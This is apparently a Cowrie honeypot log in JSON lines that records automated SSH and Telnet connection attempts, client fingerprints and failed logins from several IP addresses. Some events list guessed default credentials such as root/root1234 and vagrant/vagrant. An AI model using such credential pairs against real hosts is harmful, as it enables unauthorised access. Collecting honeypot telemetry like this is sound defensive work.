{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:03.846357Z","src_ip":"193.151.144.93","session":"016402d3311c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:04.346537Z","src_ip":"193.151.144.93","session":"016402d3311c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:08.858656Z","src_ip":"193.151.144.93","session":"016402d3311c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":54926,"dst_ip":"10.17.0.5","dst_port":22,"session":"3806cbbf21e1","protocol":"ssh","message":"New connection: 85.11.167.46:54926 (10.17.0.5:22) [session: 3806cbbf21e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:16.157393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:16.163046Z","src_ip":"85.11.167.46","session":"3806cbbf21e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:16.257294Z","src_ip":"85.11.167.46","session":"3806cbbf21e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234","message":"login attempt [root/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:16.521431Z","src_ip":"85.11.167.46","session":"3806cbbf21e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:17.606730Z","src_ip":"85.11.167.46","session":"3806cbbf21e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":51358,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8aaa7510615","protocol":"ssh","message":"New connection: 43.242.203.160:51358 (159.203.135.109:22) [session: b8aaa7510615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:19.418683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:19.423957Z","src_ip":"43.242.203.160","session":"b8aaa7510615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:19.656180Z","src_ip":"43.242.203.160","session":"b8aaa7510615","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"interser123","message":"login attempt [root/interser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:20.592405Z","src_ip":"43.242.203.160","session":"b8aaa7510615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:20:21.827528Z","src_ip":"43.242.203.160","session":"b8aaa7510615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":52994,"dst_ip":"159.203.135.109","dst_port":22,"session":"11c21adbb479","protocol":"ssh","message":"New connection: 20.6.35.235:52994 (159.203.135.109:22) [session: 11c21adbb479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:05.655035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:05.876638Z","src_ip":"20.6.35.235","session":"11c21adbb479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:06.125620Z","src_ip":"20.6.35.235","session":"11c21adbb479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":37536,"dst_ip":"159.203.135.109","dst_port":22,"session":"e614075324fb","protocol":"ssh","message":"New connection: 43.242.203.160:37536 (159.203.135.109:22) [session: e614075324fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:07.970123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:07.976912Z","src_ip":"43.242.203.160","session":"e614075324fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz112233","message":"login attempt [root/Zz112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:08.072541Z","src_ip":"20.6.35.235","session":"11c21adbb479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:08.203457Z","src_ip":"43.242.203.160","session":"e614075324fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54322,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea17e789dd79","protocol":"telnet","message":"New connection: 180.235.129.180:54322 (10.17.0.5:23) [session: ea17e789dd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:08.873714Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:09.142699Z","src_ip":"43.242.203.160","session":"e614075324fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:10.385039Z","src_ip":"43.242.203.160","session":"e614075324fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:13.201107Z","src_ip":"20.6.35.235","session":"11c21adbb479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54646,"dst_ip":"10.17.0.5","dst_port":23,"session":"afd99405fd76","protocol":"telnet","message":"New connection: 180.235.129.180:54646 (10.17.0.5:23) [session: afd99405fd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:17.060961Z"}
{"eventid":"cowrie.session.closed","duration":10.446734428405762,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:19.320330Z","src_ip":"180.235.129.180","session":"ea17e789dd79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.242.203.160","src_port":51932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c1157f034ac","protocol":"ssh","message":"New connection: 43.242.203.160:51932 (159.203.135.109:22) [session: 2c1157f034ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:57.141514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:57.150021Z","src_ip":"43.242.203.160","session":"2c1157f034ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:57.371377Z","src_ip":"43.242.203.160","session":"2c1157f034ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mob","password":"mob","message":"login attempt [mob/mob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:58.267073Z","src_ip":"43.242.203.160","session":"2c1157f034ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":47886,"dst_ip":"159.203.135.109","dst_port":22,"session":"0544e66703da","protocol":"ssh","message":"New connection: 62.133.62.83:47886 (159.203.135.109:22) [session: 0544e66703da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:59.330973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:59.335280Z","src_ip":"62.133.62.83","session":"0544e66703da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:59.414107Z","src_ip":"62.133.62.83","session":"0544e66703da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:59.502419Z","src_ip":"43.242.203.160","session":"2c1157f034ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nfnmzyf1","message":"login attempt [root/nfnmzyf1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:21:59.651995Z","src_ip":"62.133.62.83","session":"0544e66703da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:00.734637Z","src_ip":"62.133.62.83","session":"0544e66703da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44832,"dst_ip":"159.203.135.109","dst_port":23,"session":"677f5e0b32f1","protocol":"telnet","message":"New connection: 69.4.83.194:44832 (159.203.135.109:23) [session: 677f5e0b32f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:03.769369Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30278,"dst_ip":"159.203.135.109","dst_port":22,"session":"d126320dcf1f","protocol":"ssh","message":"New connection: 194.59.206.2:30278 (159.203.135.109:22) [session: d126320dcf1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:20.851774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:20.874558Z","src_ip":"194.59.206.2","session":"d126320dcf1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:20.978709Z","src_ip":"194.59.206.2","session":"d126320dcf1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:21.137582Z","src_ip":"194.59.206.2","session":"d126320dcf1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":53192,"dst_ip":"159.203.135.109","dst_port":23,"session":"e66835656ba5","protocol":"telnet","message":"New connection: 69.4.83.194:53192 (159.203.135.109:23) [session: e66835656ba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.010505Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":45176,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc371da25c2d","protocol":"ssh","message":"New connection: 185.236.22.41:45176 (159.203.135.109:22) [session: dc371da25c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.174449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:22:28.178938Z","src_ip":"185.236.22.41","session":"dc371da25c2d","protocol":"ssh"}
